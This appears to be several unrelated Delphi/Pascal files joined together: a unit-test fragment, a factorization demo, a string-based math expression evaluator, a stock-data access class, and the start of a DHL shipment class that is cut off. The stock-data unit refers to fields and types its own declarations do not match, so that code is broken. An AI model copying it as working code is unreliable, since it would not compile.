if(returnvalue <> nil) then
check(true,'Proprietário pesquisado com sucesso!')
else
check(true,'Proprietário não encontrado!');
end;
initialization
// Register any test cases with the test runner
RegisterTest(TestTProprietarioUnidadeController.Suite);
end.
|
// Factorization demo
{$APPTYPE CONSOLE}
program Factor;
var
LowBound, HighBound, Number, Dividend, Divisor: Integer;
DivisorFound: Boolean;
begin
WriteLn;
WriteLn('Integer factorization demo');
WriteLn;
Write('From number: '); ReadLn(LowBound);
Write('To number : '); ReadLn(HighBound);
WriteLn;
if LowBound < 2 then
begin
WriteLn('Numbers should be greater than 1');
ReadLn;
Halt(1);
end;
for Number := LowBound to HighBound do
begin
Write(Number, ' = ');
Dividend := Number;
while Dividend > 1 do
begin
Divisor := 1;
DivisorFound := FALSE;
while sqr(Divisor) <= Dividend do
begin
Inc(Divisor);
if Dividend mod Divisor = 0 then
begin
DivisorFound := TRUE;
Break;
end;
end;
if not DivisorFound then Divisor := Dividend; // Prime number
Write(Divisor, ' ');
Dividend := Dividend div Divisor;
end; // while
WriteLn;
end; // for
WriteLn;
WriteLn('Done.');
ReadLn;
end.
|
unit UnitScriptsMath;
interface
uses
Math, SysUtils, UnitScripts, uScript;
type
Tfunc = set of (Fplus,Fminus,Fmultiply,Fdivide,Fnone,Fpower,F_AND,F_OR,F_XOR,F_RAVNO,F_BOLSHE,F_MENSHE);
TZnak = set of (Zravno,ZBolhe,Zmenhe,ZBolheRavno,ZMenheRavno,ZneRavno);
Tresult = record
Nofunction : integer;
Typefunction : Tfunc;
end;
type
TFindFuncion = record
Name : String;
FirstChar : integer;
Width : integer;
firstcharname : integer;
end;
const
znaki : set of AnsiChar = ['+','-','*','/','^','~','|','&','>','<','='];
logicznaki : set of AnsiChar = ['>','<','='];
BukviF : set of AnsiChar = ['A'..'Z','a'..'z'];
zifri : set of AnsiChar = ['0'..'9'];
Function StringToFloatScript(const fstr : string; const Script : TScript) : real;
Function findexpression(const str : String):boolean;
implementation
Function FindpreviosChar(s : string; i : integer; no : integer): char;
var j:integer;
begin
result:=#0;
For j:=i downto 1 do
If s[j]<>' ' then begin
dec(no);
If no<=0 then
begin
result:=s[j];
break;
end;
end;
end;
Function FindNextCharNo(s : string; i : integer; var no : integer): char;
var j:integer;
begin
result:=#0;
For j:=i to length(s) do
If s[j]<>' ' then begin
result:=s[j];
no:=j;
break;
end;
end;
Function DeleteProbeli(S : String) : String;
var i:integer;
begin
for i:=length(s) downto 1 do
If s[i]=' ' then delete(s,i,1);
Result:=s;
end;
function Upcaseall(s : string):string;
var i : integer;
begin
result:=s;
for i:=1 to length(s) do
result[i]:=Upcase(result[i]);
end;
function LoadFloat(str: string; Script : TScript): real;
var
s : string;
minusi,i : integer;
Value : Extended;
begin
minusi:=0;
If str='' then begin result:=0; exit; end;
s:=str;
If s[1]='(' then
begin
For i:=1 to length(s) div 2 do
If (s[i]='-') then inc(minusi);
For i:=length(s) div 2 downto 1 do
If (s[i]='-') then delete(s,i,1);
end;
result:=0;
If s='' then exit;
Repeat
If s[1]='(' then
begin
delete(s,length(s),1);
delete(s,1,1);
If s='' then exit;
end;
until s[1]<>'(';
if IsVariable(s) then
Value := GetNamedValueFloat(Script, s)
else
Value := StrToFloatDef(s, 0);
If not odd(minusi) then result:=Value else result:=-Value;
end;
function findnextf(strfunction:string):Tresult;
var i:integer;
find : boolean;
begin
find:=false;
result.nofunction:=-1;
result.typefunction:=[fnone];
If not find then
for i:=1 to length(strfunction) do
If strfunction[i]='=' then begin find:=true; result.nofunction:=i; result.typefunction:=[F_RAVNO]; break; end;
If not find then
for i:=1 to length(strfunction) do
If strfunction[i]='>' then begin find:=true; result.nofunction:=i; result.typefunction:=[F_BOLSHE]; break; end;
If not find then
for i:=1 to length(strfunction) do
If strfunction[i]='<' then begin find:=true; result.nofunction:=i; result.typefunction:=[F_MENSHE]; break; end;
If not find then
for i:=1 to length(strfunction) do
If strfunction[i]='~' then begin find:=true; result.nofunction:=i; result.typefunction:=[F_XOR]; break; end;
If not find then
for i:=1 to length(strfunction) do
If strfunction[i]='&' then begin find:=true; result.nofunction:=i; result.typefunction:=[F_AND]; break; end;
If not find then
for i:=1 to length(strfunction) do
If strfunction[i]='|' then begin find:=true; result.nofunction:=i; result.typefunction:=[F_OR]; break; end;
If not find then
for i:=1 to length(strfunction) do
If strfunction[i]='^' then begin find:=true; result.nofunction:=i; result.typefunction:=[Fpower]; break; end;
If not find then
for i:=1 to length(strfunction) do
If strfunction[i]='*' then begin find:=true; result.nofunction:=i; result.typefunction:=[Fmultiply]; break; end;
If not find then
for i:=1 to length(strfunction) do
If strfunction[i]='/' then begin find:=true; result.nofunction:=i; result.typefunction:=[Fdivide]; break; end;
If not find then
for i:=1 to length(strfunction) do
If strfunction[i]='-' then If (i<>1) and (strfunction[i-1]<>'(') and (strfunction[i-1]<>'E') then begin find:=true; result.nofunction:=i; result.typefunction:=[Fminus]; break; end;
If not find then
for i:=1 to length(strfunction) do
If strfunction[i]='+' then begin result.nofunction:=i; result.typefunction:=[Fplus]; break; end;
end;
function findnextr(nofunction:integer;s:string):integer;
var i:integer;
begin
result:=length(s)+1;
for i:=nofunction+1 to length(s) do
begin
If (s[i]='+') or (s[i]='*') or (s[i]='/') or (s[i]='^') or (s[i]='~') or (s[i]='&') or (s[i]='|') or (s[i]='=') or (s[i]='>') or (s[i]='<') then begin result:=i; break; end;
If (s[i]='-') and (s[i-1]<>'(') and (s[i-1]<>'E') then begin result:=i; break; end;
end;
end;
function findnextl(nofunction:integer;s:string):integer;
var i:integer;
begin
result:=0;
for i:=nofunction-1 downto 1 do
begin
If (s[i]='+') or (s[i]='*') or (s[i]='/') or (s[i]='^') or (s[i]='~') or (s[i]='&') or (s[i]='|') or (s[i]='=') or (s[i]='>') or (s[i]='<') then begin result:=i; break; end;
If (s[i]='-') and (s[i-1]<>'(') and (s[i-1]<>'E') then begin result:=i; break; end;
end;
end;
Function Replacefunctionstoresult(const str:string; const Script : TScript):string;
var i,j,ns,sc,nv1,z,y,endif:integer;
s,s1,sv1,sv2,ysl1,ysl2:string;
znak: TZnak;
r,temp,temp_,temp__,sr1,sr2:real;
none:boolean;
noneNo:integer;
begin
noneno:=1;
s:=str;
repeat
none:=true;
for i:=noneNo to length(s) do
begin
ns:=0;
If (s[i]='A') then if (s[i+1]='b') and (s[i+2]='s') and (s[i+3]='(') then
begin
sc:=1;
noneno:=i+1;
none:=false;
for j:=i+4 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+4,ns-i-4);
r:=abs(LoadFloat(s1,Script));
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='R') then if (s[i+1]='a') and (s[i+2]='d') and (s[i+3]='(') then
begin
sc:=1;
noneno:=i+1;
none:=false;
for j:=i+4 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+4,ns-i-4);
r:=pi*2*(LoadFloat(s1,Script))/360;
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='S') then if (s[i+1]='q') and (s[i+2]='r') and (s[i+3]='t') and (s[i+4]='(') then
begin
sc:=1;
noneno:=i+1;
none:=false;
for j:=i+5 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+5,ns-i-5);
temp:=LoadFloat(s1,Script);
If temp>=0 then
r:=sqrt(temp) else raise Ematherror.Create('Invalid Floating Operator. Exception On SQRT needs >= 0');
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='L') then if (s[i+1]='o') and (s[i+2]='g') and (s[i+3]='N') and (s[i+4]='(') then
begin
sc:=0;
noneno:=i+1;
nv1:=0;
none:=false;
For j:=i+5 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then sc:=sc-1;
If (s[j]=';') and (sc=0) then
begin
nv1:=j;
break;
end;
end;
sc:=1;
sv1:=copy(s,i+5,nv1-i-5);
sv1:=floattostr(StringToFloatScript(sv1,Script));
for j:=nv1 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,nv1+1,ns-nv1-1);
s1:=Floattostr(StringToFloatScript(s1,Script));
temp:=LoadFloat(s1,Script);
temp_:=LoadFloat(sv1,Script);
r:=0;
If (temp>0) and (temp_>0) and (temp_<>1) then
r:=logn(temp,temp_) else begin
If temp<0 then raise Ematherror.Create('Invalid Floating Operator. Base on LOGN needs >0');
If temp_<0 then raise Ematherror.Create('Invalid Floating Operator. Value on LOGN needs >0');
If temp_=0 then raise Ematherror.Create('Invalid Floating Operator. Value on LOGN needs <>0');
end;
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='C') then if (s[i+1]='c') and (s[i+2]='s') and (s[i+3]='(') then
begin
sc:=1;
noneno:=i+1;
none:=false;
for j:=i+4 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+4,ns-i-4);
r:=cos(LoadFloat(s1,Script));
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='R') then if (s[i+1]='o') and (s[i+2]='u') and (s[i+3]='n') and (s[i+4]='d') and (s[i+5]='(') then
begin
sc:=1;
noneno:=i+1;
none:=false;
for j:=i+6 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+6,ns-i-6);
r:=floor(LoadFloat(s1,Script));
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='S') then if (s[i+1]='i') and (s[i+2]='n') and (s[i+3]='(') then
begin
sc:=1;
noneno:=i+1;
none:=false;
for j:=i+4 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+4,ns-i-4);
r:=sin(LoadFloat(s1,Script));
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
if i>1 then
If (s[i-1]<>'o') and (s[i]='T') and (s[i+1]='a') and (s[i+2]='n') and (s[i+3]='(') then
begin
sc:=1;
noneno:=i+1;
none:=false;
for j:=i+4 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+4,ns-i-4);
temp:=LoadFloat(s1,Script);
If cos(temp)<>0 then
r:=tan(temp) else raise Ematherror.Create('Invalid Floating Operator. TAN needs value <> pi/2 +p*n, n <- Z');
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='C') then if (s[i+1]='o') and (s[i+2]='T') and (s[i+3]='a') and (s[i+4]='n') and (s[i+5]='(') then
begin
sc:=1;
noneno:=i+1;
none:=false;
for j:=i+6 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+6,ns-i-6);
temp:=LoadFloat(s1,Script);
If sin(temp)<>0 then
r:=cotan(temp) else raise Ematherror.Create('Invalid Floating Operator. COTAN needs value <> p*n, n <- Z');
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='A') then if (s[i+1]='r') and (s[i+2]='c') and (s[i+3]='S') and (s[i+4]='i') and (s[i+5]='n') and (s[i+6]='(') then
begin
sc:=1;
noneno:=i+1;
none:=false;
for j:=i+7 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+7,ns-i-7);
temp:=LoadFloat(s1,Script);
If abs(temp)<=1 then
r:=arcsin(temp) else raise Ematherror.Create('Invalid Floating Operator. ARCSIN needs value <- [-1;1]');
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='A') then if (s[i+1]='r') and (s[i+2]='c') and (s[i+3]='C') and (s[i+4]='o') and (s[i+5]='s') and (s[i+6]='(') then
begin
sc:=1;
noneno:=i+1;
none:=false;
for j:=i+7 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+7,ns-i-7);
temp:=LoadFloat(s1,Script);
If abs(temp)<=1 then
r:=arccos(temp) else raise Ematherror.Create('Invalid Floating Operator. ARCCOS needs value <- [-1;1]');
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='A') then if (s[i+1]='r') and (s[i+2]='c') and (s[i+3]='T') and (s[i+4]='a') and (s[i+5]='n') and (s[i+6]='(') then
begin
sc:=1;
noneno:=i+1;
none:=false;
for j:=i+7 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+7,ns-i-7);
r:=arctan(LoadFloat(s1,Script));
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='A') then if (s[i+1]='r') and (s[i+2]='c') and (s[i+3]='C') and (s[i+4]='c') and (s[i+5]='t') and (s[i+6]='a') and (s[i+7]='n') and (s[i+8]='(') then
begin
sc:=1;
noneno:=i+1;
none:=false;
for j:=i+9 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+9,ns-i-9);
r:=-arctan(LoadFloat(s1,Script))+pi/2;
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='E') then if (s[i+1]='e') and (s[i+2]='p') and (s[i+3]='(') then
begin
sc:=1;
noneno:=i+1;
none:=false;
for j:=i+4 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+4,ns-i-4);
r:=exp(LoadFloat(s1,Script));
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='L') then if (s[i+1]='n') and (s[i+2]='(') then
begin
sc:=1;
none:=false;
noneno:=i+1;
for j:=i+3 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+3,ns-i-3);
temp:=LoadFloat(s1,Script);
If temp>0 then
r:=ln(temp) else raise
Ematherror.Create('Invalid Floating Operator. LN needs value >0');
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='L') then if (s[i+1]='g') and (s[i+2]='(') then
begin
sc:=1;
none:=false;
noneno:=i+1;
for j:=i+3 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
ns:=j;
break;
end;
end;
end;
s1:=copy(s,i+3,ns-i-3);
temp:=LoadFloat(s1,Script);
If temp>0 then
r:=ln(temp)/ln(10) else raise Ematherror.Create('Invalid Floating Operator. LG needs value >0');
s1:='('+floattostr(r)+')';
delete(s,i,ns-i+1);
insert(s1,s,i);
end;
If (s[i]='I') then if (s[i+1]='F') and (s[i+2]='(') then
begin
sc:=0;
noneno:=i+1;
nv1:=0;
none:=false;
endif:=length(s);
for j:=i+2 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then sc:=sc-1;
If sc=0 then
begin
endif:=j;
break;
end;
end;
sc:=0;
For j:=i+3 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then sc:=sc-1;
If (s[j]=';') and (sc=0) then
begin
nv1:=j;
break;
end;
end;
sc:=1;
sv1:=copy(s,i+3,nv1-i-3);
for j:=nv1+1 to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then sc:=sc-1;
If (s[j]=';') and (sc=1) then
begin
ns:=j;
break;
end;
end;
s1:=copy(s,nv1+1,ns-nv1-1);
for j:=ns to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then begin
nv1:=j;
break;
end;
end;
end;
sv2:=copy(s,ns+1,nv1-ns-1);
y:=0;
for z:=1 to length(sv1) do
begin
If (sv1[z]='>') and (sv1[z+1]<>'=') then
begin
znak:=[ZBolhe];
y:=z;
break;
end;
If (sv1[z]='<') and (sv1[z+1]<>'=') and (sv1[z+1]<>'>') then
begin
znak:=[ZMenhe];
y:=z;
break;
end;
If sv1[z]='=' then
begin
znak:=[ZRavno];
y:=z;
break;
end;
If (sv1[z]='>') and (sv1[z+1]='=') then
begin
znak:=[ZBolheRavno];
y:=z;
break;
end;
If (sv1[z]='<') and (sv1[z+1]='=') then
begin
znak:=[ZMenheRavno];
y:=z;
break;
end;
If (sv1[z]='<') and (sv1[z+1]='>') then
begin
znak:=[ZNeRavno];
y:=z;
break;
end;
end;
If (znak=[Zbolhe]) or (znak=[ZMenhe]) or (znak=[ZRavno]) then
begin
ysl1:=copy(sv1,1,y-1);
ysl2:=copy(sv1,y+1,length(sv1)-y);
end else begin
ysl1:=copy(sv1,1,y-1);
ysl2:=copy(sv1,y+2,length(sv1)-y-1);
end;
znak:=znak;
temp:=0;
If znak=[ZRavno] then
begin
If StringToFloatScript(ysl1,Script)=StringToFloatScript(ysl2,Script) then temp:=StringToFloatScript(s1,Script) else temp:=StringToFloatScript(sv2,Script);
end;
If znak=[ZNeRavno] then
begin
If StringToFloatScript(ysl1,Script)<>StringToFloatScript(ysl2,Script) then temp:=StringToFloatScript(s1,Script) else temp:=StringToFloatScript(sv2,Script);
end;
If znak=[ZBolhe] then
begin
If StringToFloatScript(ysl1,Script)>StringToFloatScript(ysl2,Script) then temp:=StringToFloatScript(s1,Script) else temp:=StringToFloatScript(sv2,Script);
end;
If znak=[ZMenhe] then
begin
If StringToFloatScript(ysl1,Script)<StringToFloatScript(ysl2,Script) then temp:=StringToFloatScript(s1,Script) else temp:=StringToFloatScript(sv2,Script);
end;
If znak=[ZMenheRavno] then
begin
If StringToFloatScript(ysl1,Script)<=StringToFloatScript(ysl2,Script) then temp:=StringToFloatScript(s1,Script) else temp:=StringToFloatScript(sv2,Script);
end;
If znak=[ZBolheRavno] then
begin
If StringToFloatScript(ysl1,Script)>=StringToFloatScript(ysl2,Script) then temp:=StringToFloatScript(s1,Script) else temp:=StringToFloatScript(sv2,Script);
end;
r:=temp;
s1:='('+floattostr(r)+')';
delete(s,i,endif-i+1);
insert(s1,s,i);
break;
end;
end;
Until none;
result:=s;
end;
Function StringToFloatScript(const fstr : string; const Script : TScript) : real;
var s,s1,s2,s3,s4:string;
breakzikl : boolean;
plus,i,a,b,sc,j:integer;
lr:real;
f : Tfunc;
begin
result:=0;
s:=fstr;
If s='' then exit;
If s[1]<>'-' then
s:='0+'+s else s:='0'+s;
s:=DeleteProbeli(s);
Repeat
breakzikl:=true;
for i:=1 to length(s) do
If (s[i]='(') then
If findprevioschar(s,i-1,1)<>'F' then
if findprevioschar(s,i-1,2)<>'G' then
begin
sc:=0;
for j:=i to length(s) do
begin
If s[j]='(' then sc:=sc+1;
If s[j]=')' then
begin
sc:=sc-1;
If sc=0 then
If findexpression(copy(s,i+1,j-i-1))=true then
begin
s4:=copy(s,i+1,j-i-1);
try
s4:=floattostr(StringToFloatScript(s4,Script));
delete(s,i+1,j-i-1);
insert(s4,s,i+1);
breakzikl:=false;
break;
except
end;
end;
end;
end;
end;
Until breakzikl=true;
s:=replacefunctionstoresult(s,Script);
try
repeat
plus:=findnextf(s).Nofunction;
f:=findnextf(s).Typefunction;
s1:=copy(s,findnextl(plus,s)+1,plus-findnextl(plus,s)-1);
s2:=copy(s,plus+1,findnextr(plus,s)-plus-1);
a:=findnextl(plus,s);
b:=findnextr(plus,s);
system.delete(s,a+1,b-a-1);
lr:=0;
If f=[fnone] then break;
If f=[Fpower] then lr:=power(LoadFloat(s1,Script),LoadFloat(s2,Script));
If f=[fplus] then lr:=LoadFloat(s1,Script)+LoadFloat(s2,Script);
If f=[fminus] then lr:=LoadFloat(s1,Script)-LoadFloat(s2,Script);
If f=[fdivide] then
begin
If LoadFloat(s2,Script)<>0 then
lr:=LoadFloat(s1,Script)/LoadFloat(s2,Script) else lr:=MaxExtended//raise EMathError.create('Error by devisiot on zerro');//lr:=MaxExtended;
end;
If f=[fmultiply] then lr:=LoadFloat(s1,Script)*LoadFloat(s2,Script);
If f=[F_OR] then
begin
if (LoadFloat(s1,Script)<>0) or (LoadFloat(s2,Script)<>0) then lr:=1 else lr:=0;
end;
If f=[F_AND] then
begin
if (LoadFloat(s1,Script)<>0) and (LoadFloat(s2,Script)<>0) then lr:=1 else lr:=0;
end;
If f=[F_XOR] then
begin
if (LoadFloat(s1,Script)<>0) xor (LoadFloat(s2,Script)<>0) then lr:=1 else lr:=0;
end;
If f=[F_BOLSHE] then
begin
if LoadFloat(s1,Script) > LoadFloat(s2,Script) then lr:=1 else lr:=0;
end;
If f=[F_MENSHE] then
begin
if LoadFloat(s1,Script) < LoadFloat(s2,Script) then lr:=1 else lr:=0;
end;
If f=[F_RAVNO] then
begin
if s1 = s2 then lr:=1 else lr:=0;
end;
If lr>=0 then s3:=floattostr(lr) else s3:='('+floattostr(lr)+')';
insert(s3,s,a+1);
until findnextf(s).Typefunction=[fnone];
except
raise EMathError.create('Error');
end;
result:=LoadFloat(s,Script);
end;
Function findexpression(const str : String):boolean;
var i,sc:integer;
pass:boolean;
begin
result:=false;
pass:=true;
sc:=0;
for i:=1 to length(str) do begin
If (str[i]='(') then sc:=sc+1;
If (str[i]=')') then sc:=sc-1;
If sc<0 then pass:=false;
end;
for i:=length(str) downto 1 do begin
If (str[i]=')') then sc:=sc+1;
If (str[i]='(') then sc:=sc-1;
If sc<0 then pass:=false;
end;
If pass then
for i:=1 to length(str) do begin
If (((str[i]='+') or (str[i]='-')) and (i<>1) and (str[i-1]<>'E')) or (str[i]='/') or (str[i]='*') or (str[i]='^') or (str[i]='~') or (str[i]='|') or (str[i]='&') or (str[i]='>') or (str[i]='<') or (str[i]='=') or (str[i]='S') or (str[i]='N') or ((str[i]='E') and (str[i+1]='X')) or (str[i]='I') or (str[i]='R') then
begin
result:=true;
break;
end;
end;
end;
end.
|
unit StockWeightDataAccess;
interface
uses
define_dealItem,
BaseDataSet,
QuickList_int,
define_price,
define_datasrc,
define_stock_quotes;
type
TStockWeightData = record
DealItem : PRT_DealItem;
IsDataChangedStatus: Byte;
WeightData : TALIntegerList;
FirstDealDate : Word; // 2
LastDealDate : Word; // 2 最后记录交易时间
DataSource : TDealDataSource;
end;
TStockWeightDataAccess = class(TBaseDataSetAccess)
protected
fStockWeightData: TStockWeightData;
function GetFirstDealDate: Word;
procedure SetFirstDealDate(const Value: Word);
function GetLastDealDate: Word;
procedure SetLastDealDate(const Value: Word);
function GetEndDealDate: Word;
procedure SetEndDealDate(const Value: Word);
procedure SetStockItem(AStockItem: PRT_DealItem);
function GetRecordItem(AIndex: integer): Pointer; override;
function GetRecordCount: Integer; override;
public
constructor Create(AStockItem: PRT_DealItem; ADataSrc: TDealDataSource);
destructor Destroy; override;
function FindRecord(ADate: Integer): PRT_Stock_Weight;
function CheckOutRecord(ADate: Word): PRT_Stock_Weight;
function DoGetRecords: integer;
function DoGetStockOpenPrice(AIndex: integer): double;
function DoGetStockClosePrice(AIndex: integer): double;
function DoGetStockHighPrice(AIndex: integer): double;
function DoGetStockLowPrice(AIndex: integer): double;
procedure Sort; override;
procedure Clear; override;
property FirstDealDate: Word read GetFirstDealDate;
property LastDealDate: Word read GetLastDealDate;
property EndDealDate: Word read GetEndDealDate write SetEndDealDate;
property StockItem: PRT_DealItem read fStockWeightData.DealItem write SetStockItem;
property DataSource: TDealDataSource read fStockWeightData.DataSource write fStockWeightData.DataSource;
end;
implementation
uses
QuickSortList,
SysUtils;
{ TStockWeightDataAccess }
constructor TStockWeightDataAccess.Create(AStockItem: PRT_DealItem; ADataSrc: TDealDataSource);
begin
//inherited;
FillChar(fStockWeightData, SizeOf(fStockWeightData), 0);
fStockWeightData.DealItem := AStockItem;
fStockWeightData.WeightData := TALIntegerList.Create;
fStockWeightData.WeightData.Clear;
fStockWeightData.WeightData.Duplicates := QuickSortList.lstDupIgnore;
fStockWeightData.FirstDealDate := 0; // 2
fStockWeightData.LastDealDate := 0; // 2 最后记录交易时间
fStockWeightData.DataSource := ADataSrc;
end;
destructor TStockWeightDataAccess.Destroy;
begin
Clear;
FreeAndNil(fStockWeightData.DayDealData);
inherited;
end;
procedure TStockWeightDataAccess.Clear;
var
i: integer;
tmpQuoteDay: PRT_Quote_Day;
begin
if nil <> fStockWeightData.WeightData then
begin
for i := fStockWeightData.WeightData.Count - 1 downto 0 do
begin
tmpQuoteDay := PRT_Quote_Day(fStockWeightData.WeightData.Objects[i]);
FreeMem(tmpQuoteDay);
end;
fStockWeightData.WeightData.Clear;
end;
end;
procedure TStockWeightDataAccess.SetStockItem(AStockItem: PRT_DealItem);
begin
if nil <> AStockItem then
begin
if fStockWeightData.DealItem <> AStockItem then
begin
end;
end;
fStockWeightData.DealItem := AStockItem;
if nil <> fStockWeightData.DealItem then
begin
end;
end;
function TStockWeightDataAccess.GetFirstDealDate: Word;
begin
Result := fStockWeightData.FirstDealDate;
end;
procedure TStockWeightDataAccess.SetFirstDealDate(const Value: Word);
begin
fStockWeightData.FirstDealDate := Value;
end;
function TStockWeightDataAccess.GetLastDealDate: Word;
begin
Result := fStockWeightData.LastDealDate;
end;
procedure TStockWeightDataAccess.SetLastDealDate(const Value: Word);
begin
fStockWeightData.LastDealDate := Value;
end;
function TStockWeightDataAccess.GetEndDealDate: Word;
begin
Result := 0;
end;
procedure TStockWeightDataAccess.SetEndDealDate(const Value: Word);
begin
end;
function TStockWeightDataAccess.GetRecordCount: Integer;
begin
Result := fStockWeightData.WeightData.Count;
end;
function TStockWeightDataAccess.GetRecordItem(AIndex: integer): Pointer;
begin
Result := fStockWeightData.WeightData.Objects[AIndex];
end;
procedure TStockWeightDataAccess.Sort;
begin
fStockWeightData.WeightData.Sort;
end;
function TStockWeightDataAccess.CheckOutRecord(ADate: Word): PRT_Stock_Weight;
begin
Result := nil;
if ADate < 1 then
exit;
Result := FindRecord(ADate);
if nil = Result then
begin
if fStockWeightData.FirstDealDate = 0 then
fStockWeightData.FirstDealDate := ADate;
if fStockWeightData.FirstDealDate > ADate then
fStockWeightData.FirstDealDate := ADate;
if fStockWeightData.LastDealDate < ADate then
fStockWeightData.LastDealDate := ADate;
Result := System.New(PRT_Quote_Day);
FillChar(Result^, SizeOf(TRT_Quote_Day), 0);
Result.DealDate.Value := ADate;
fStockWeightData.DayDealData.AddObject(ADate, TObject(Result));
end;
end;
function TStockWeightDataAccess.FindRecord(ADate: Integer): PRT_Quote_Day;
var
tmpPos: integer;
begin
Result := nil;
tmpPos := fStockWeightData.DayDealData.IndexOf(ADate);
if 0 <= tmpPos then
Result := PRT_Quote_Day(fStockWeightData.DayDealData.Objects[tmpPos]);
end;
function TStockWeightDataAccess.DoGetStockOpenPrice(AIndex: integer): double;
begin
Result := PRT_Quote_Day(RecordItem[AIndex]).PriceRange.PriceOpen.Value;
end;
function TStockWeightDataAccess.DoGetStockClosePrice(AIndex: integer): double;
begin
Result := PRT_Quote_Day(RecordItem[AIndex]).PriceRange.PriceClose.Value;
end;
function TStockWeightDataAccess.DoGetStockHighPrice(AIndex: integer): double;
begin
Result := PRT_Quote_Day(RecordItem[AIndex]).PriceRange.PriceHigh.Value;
end;
function TStockWeightDataAccess.DoGetStockLowPrice(AIndex: integer): double;
begin
Result := PRT_Quote_Day(RecordItem[AIndex]).PriceRange.PriceLow.Value;
end;
function TStockWeightDataAccess.DoGetRecords: integer;
begin
Result := Self.RecordCount;
end;
end.
|
unit Objekt.DHLShipment;
interface
uses
SysUtils, Classes, geschaeftskundenversand_api_2,
Objekt.DHLShipmentdetails, Objekt.DHLShipper, Objekt.DHLReceiver;
type
TDHLShipment = class
private
fShipmentAPI: Shipment;
fShipmentdetails: TDHLShipmentdetails;
fShipper: TDHLShipper;
fReceiver: TDHLReceiver;
public
constructor Create;
destructor Destroy; override;
function ShipmentAPI: Shipment;
property Shipmentdetails: TDHLShipmentdetails read fShipmentdetails write fShipmentdetails;
property Shipper: TDHLShipper read fShipper write fShipper;
property Receiver: TDHLReceiver read fReceiver write fReceiver;
end;
implementation
{ TDHLShipment }
constructor TDHLShipment.Create;
begin
fShipmentAPI := Shipment.Create;
fShipper := TDHLShipper.Create;
fReceiver := TDHLReceiver.Create;
fShipmentdetails := TDHLShipmentdetails.Create;
